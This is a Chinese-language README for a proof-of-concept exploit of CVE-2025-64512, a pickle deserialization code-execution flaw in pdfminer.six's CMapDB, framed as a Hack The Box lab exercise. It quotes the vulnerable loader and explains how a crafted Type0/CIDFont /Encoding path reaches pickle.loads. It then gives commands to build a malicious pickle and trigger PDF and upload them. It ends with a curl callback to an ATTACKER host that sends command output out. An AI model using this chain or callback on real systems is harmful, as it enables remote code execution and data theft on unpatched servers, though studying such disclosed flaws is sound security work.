
针对 CVE-2025-64512 的 PoC:pdfminer.six CMapDB pickle 反序列化 RCE(通过特制 PDF 触发)
CMapDB 反序列化 PoC针对 pdfminer.six 中反序列化漏洞的概念验证,该漏洞在解析特制 PDF 时会导致任意代码执行。
目的 / 法律免责声明 本仓库仅用于教育和授权的安全研究。它复现了一个已公开披露并已修补的 CVE。 请勿将其用于你不拥有或未经书面许可测试的系统。作者对任何滥用行为不承担责任。 预期环境:Hack The Box / VulnHub / 本地实验室。
20250506 之前的 pdfminer.six20250506在 cmapdb.py 中,CMapDB._load_data() 读取一个 CMap 文件,该文件的名称来源于 PDF 字体的 /Encoding 条目,并将内容传递给 pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
以下三个特性组合在一起,使其可以被利用:
pickle.loads() -> 任意代码执行。os.path.join() 会丢弃搜索目录,并在该确切路径打开文件。.pickle.gz 会被自动附加,因此路径需要不带该扩展名提供。该利用需要向易受攻击的 Web 应用上传两个文件:
payload.pickle.gz — 一个 gzip 压缩的 pickle,其 __reduce__
执行命令并返回一个 CMap 形状的字典(以便 payload 触发后解析能干净地继续)。trigger.pdf — 一个使用 Type0/CIDFont 的最小 PDF,其字体
/Encoding 指向 pickle 的绝对路径(无扩展名)。两个 PDF 层面的细节很重要:
CMapDB.get_cmap() 只能通过 CIDFont(具有 DescendantFonts 条目的 Type0 字体)到达,而不是普通的 Type1 字体。/ 分隔符开头,因此编码后的路径必须以 #2f 开头,以保留绝对路径的前导斜杠。
内部斜杠同样使用 #2f,因为 / 是名称分隔符。当目标解析 PDF 时(例如后台监视程序调用 pdf2txt.py),CMapDB._load_data() 会打开 pickle 并执行该命令。
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
已在 pdfminer.six 20250416(易受攻击版本)上完成端到端验证:运行
pdf2txt.py trigger.pdf 会执行 payload 命令并以退出码 0 结束。
payload 命令是盲执行的;请通过回调方式外传数据,例如:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| 文件 | 用途 |
|---|---|
make_payload.py | 生成恶意的 payload.pickle.gz |
make_trigger_pdf.py | 生成具有正确 xref 偏移量的 /Encoding 触发 PDF |
20250506 的更新日志 / 修复提交